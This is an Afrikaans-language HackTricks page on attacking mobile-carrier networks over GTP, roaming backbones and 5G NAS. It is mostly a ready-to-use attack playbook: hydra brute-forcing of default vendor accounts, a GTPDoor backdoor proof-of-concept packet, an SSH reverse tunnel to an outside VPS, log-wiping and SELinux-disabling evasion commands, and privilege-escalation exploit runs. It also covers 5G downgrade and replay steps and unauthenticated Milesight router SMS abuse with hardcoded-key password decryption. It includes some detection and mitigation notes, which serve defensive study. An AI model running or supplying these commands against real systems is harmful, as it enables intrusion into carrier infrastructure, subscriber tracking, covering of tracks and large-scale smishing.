Telecom Netwerkuitbuiting (GTP / Roaming Omgewings)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Note

Mobiele kernprotokolle (GPRS Tunnelling Protocol – GTP) beweeg dikwels deur semi-betroubare GRX/IPX roaming-ruggraatwerke. Omdat hulle oor gewone UDP loop met byna geen verifikasie nie, kan enige voet aan die grond binne ’n telekom-perimeter gewoonlik direk kernsignaleringsvlakke bereik. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

’n Verbazingwekkend groot aantal verskaffer-netwerkelemente word met hardgekodeerde SSH/Telnet-gebruikers gelewer, soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, 
 ’n Toegewyde woordlys verhoog die brute-force-sukses dramaties:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

As die toestel slegs ’n management VRF blootstel, pivot eers via ’n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).

1.2 Host Discovery inside GRX/IPX

Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan met die ingeboude gtpv1 UDP-probes om vinnig GTP-C listeners in kaart te bring:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

Die volgende Go-hulpmiddel vervaardig GTP-C Create PDP Context Request pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige SGSN / MME wat die opgevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Sleutel-vlae:

  • --imsi Teikenabonnee IMSI
  • --oper Tuis / HNI (MCC+MNC)
  • -w Skryf rou pakkette na pcap

Belangrike konstantes in die binĂȘre kan gepatch word om skanderings te verbreed:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Kode-uitvoering oor GTP – GTPDoor

GTPDoor is ’n klein ELF-diens wat bind aan UDP 2123 en parseer elke inkomende GTP-C-pakket. Wanneer die payload begin met ’n pre-shared tag, word die oorblyfsel ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word binne Echo Response-boodskappe geĂ«ksfiltreer, sodat geen uitgaande sessie ooit geskep word nie.

Minimale PoC-pakket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Opsporing:

  • enige host wat ongebalanseerde Echo Requests na SGSN IPs stuur
  • GTP version-flag op 1 gestel terwyl message type = 1 (Echo) – afwyking van die spesifikasie

4. Pivoting deur die kern

4.1 sgsnemu + SOCKS5

OsmoGGSN bevat ’n SGSN-emulator wat in staat is om ’n PDP context na ’n werklike GGSN/PGW te vestig. Sodra dit opgestel is, ontvang Linux ’n nuwe tun0-koppelvlak wat vanaf die roaming peer bereikbaar is.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Met behoorlike firewall hair-pinning omseil hierdie tunnel signalling-only VLANs en beland jy direk in die data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS is byna altyd oop in roaming-infrastrukture. Maak ’n interne SSH-diens op jou VPS beskikbaar wat op :53 luister, en keer later van die huis af terug:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.

5. Geheime Kanale

KanaalTransportDekoderingAantekeninge
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)pure passive listener, no outbound traffic
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetskyk uit vir *.nodep subdomein
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmeng met legitieme GTP-C chatter

Alle implants implementeer watchdogs wat hul binaries timestomp en re-spawn indien crashed.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation op Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Wenk vir opruiming:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Gereedskap

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≄0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Aanvalle: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Die 5G registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer is deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of gekodeer nie. Hierdie pre-sekuriteit venster maak verskeie aanvalspaaie moontlik as jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Lab opstel wenke (non-RF):

  • Core: Open5GS default deployment is voldoende om flows te reproduceer.
  • UE: simulator of test UE; decode met Wireshark.
  • Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Nuttige display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Verwagting: UE/USIM moet SUCI stuur (SUPI encrypted met die home-network public key). Om ’n plaintext SUPI/IMSI in die Registration Request te vind dui op ’n privaatheidsdefek wat volgehoue subscriber tracking moontlik maak.

Hoe om te toets:

  • Capture die eerste NAS boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
  • Wireshark vinnige kontrole:
  • Dit moet decodeer as SUCI, nie IMSI nie.
  • Filtervoorbeelde: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci moet bestaan; afwesigheid plus teenwoordigheid van imsi dui op blootstelling.

Wat om te versamel:

  • MCC/MNC/MSIN as dit blootgestel is; log per-UE en spoor oor tyd/liggings.

Mitigasie:

  • Forceer SUCI-only UEs/USIMs; waarschuw op enige IMSI/SUPI in aanvanklike NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Agtergrond:

  • UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
  • Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is null-algoritmes.

Probleem:

  • Omdat die Registration Request nie integriteitsbeskerm is nie, kan ’n on-path aanvaller capability bits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat verkeerdelik null-algoritmes toe buite noodsaaklike dienste.

Aanvalsstappe:

  • Intersep InitialUEMessage en verander die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
  • Met Sni5Gect, hook die NAS boodskap en patch die capability bits voordat dit doorgestuur word.
  • Kyk of AMF null ciphers/integrity aanvaar en Security Mode voltooi met EEA0/EIA0.

Verifikasie/sigbaarheid:

  • In Wireshark, bevestig die gekose algoritmes nĂĄ Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigeringe (verpligtend):

  • Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit uitdruklik vereis word (bv. noodoproepe).
  • Beveel aan om minstens EEA2/EIA2 af te dwing; registreer en stuur waarskuwing oor enige NAS security context wat null algorithms onderhandel.

9.3 Herhaling van aanvanklike Registration Request (pre-security NAS)

Aangesien aanvanklike NAS integriteit en varsheid ontbreek, kan vasgevangde InitialUEMessage+Registration Request na die AMF herhaal word.

PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Wat om waar te neem:

  • Of AMF die replay aanvaar en voortgaan na Outentisering; gebrek aan validering van nuutheid/konteks dui op blootstelling.

Mitigations:

  • Dwing replay protection/context binding op die AMF af; pas rate-limiting toe en korreleer per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: start ’n AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS.
  • Wireshark: verifieer decodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer.
  • 5GReplay: vang ’n Registration, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reĂ«l.
  • Sni5Gect: live sniff/modify/inject NAS control-plane om null-algoritmes af te dwing of authentication-sekwensies te versteur.

9.5 Defensive checklist

  • Deurlopend inspekteer Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs.
  • Verwerp EEA0/EIA0 behalwe vir noukeurig gedefinieerde noodprosedures; vereis ten minste EEA2/EIA2.
  • Detecteer rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwachte N2 peers.
  • Waarsku oor NAS-sekuriteitsmodusse wat tot null-algoritmes lei of gereelde replays van InitialUEMessage.

10. IndustriĂ«le SellulĂȘre Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Herwinning van kredensiale (CVE-2023-43261)

Deur blootgestelde web APIs van industriĂ«le sellulĂȘre routers te misbruik, word stil-skaalse smishing met draer-afkoms moontlik. Milesight UR-series routers openbaar ’n JSON-RPC–styl endpoint by /cgi. Wanneer verkeerd gekonfigureer, kan die API sonder outentisering bevra word om SMS inbox/outbox te lys en, in sommige implementasies, om SMS te stuur.

Tipiese versoeke sonder outentisering (dieselfde struktuur vir inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Antwoorde sluit velde in soos timestamp, content, phone_number (E.164), en status (success of failed). Herhaalde failed-stuurings na dieselfde nommer is dikwels aanvallers se “capability checks” om te valideer dat ‘n router/SIM’ kan lewer voordat hulle begin blasting.

Voorbeeld curl om SMS metadata te exfiltrate:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Aantekeninge oor auth-artefakte:

  • Sommige verkeer mag ’n auth cookie insluit, maar ’n groot deel van blootgestelde toestelle reageer sonder enige authentication op query_inbox/query_outbox wanneer die management interface Internet-facing is.
  • In omgewings wat auth vereis, herstel voorheen leaked credentials (sien hieronder) weer toegang.

Credential recovery path – CVE-2023-43261:

  • Geaffekteerde families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Issue: web-served logs (e.g., httpd.log) are reachable unauthenticated under /lang/log/ and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript.
  • Praktiese toegang en decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimale Python om leaked passwords te decrypt (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Jag- en opsporingsidees (netwerk):

  • Waarsku op ongeauthentiseerde POST /cgi waarvan die JSON-liggaam base/function bevat wat op query_inbox of query_outbox gestel is.
  • Volg herhaalde POST /cgi-uitbarstings gevolg deur status":"failed" inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (vermoĂ«toetsing).
  • Maak inventaris van Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; skakel SMS-funksies uit tensy nodig; opgradeer na ≄ v35.3.0.7; roteer credentials en hersien SMS-logs vir onbekende versendings.

Shodan/OSINT pivots (voorbeelde wat in die veld gesien is):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operasionele impak: die gebruik van legitieme carrier SIMs binne routers gee baie hoë SMS-aflewerbaarheid en -geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling leaks sensitiewe metadata op skaal.


Opsporingsidees

  1. Enige toestel anders as ’n SGSN/GGSN wat Create PDP Context Requests vestig.
  2. Nie-standaard poorte (53, 80, 443) wat SSH-handshakes ontvang vanaf interne IPs.
  3. Gereelde Echo Requests sonder ooreenstemmende Echo Responses – kan GTPDoor-bakens aandui.
  4. Hoë tempo ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde.
  5. 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese eindpunte (replay signal).
  6. 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalkontekste.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks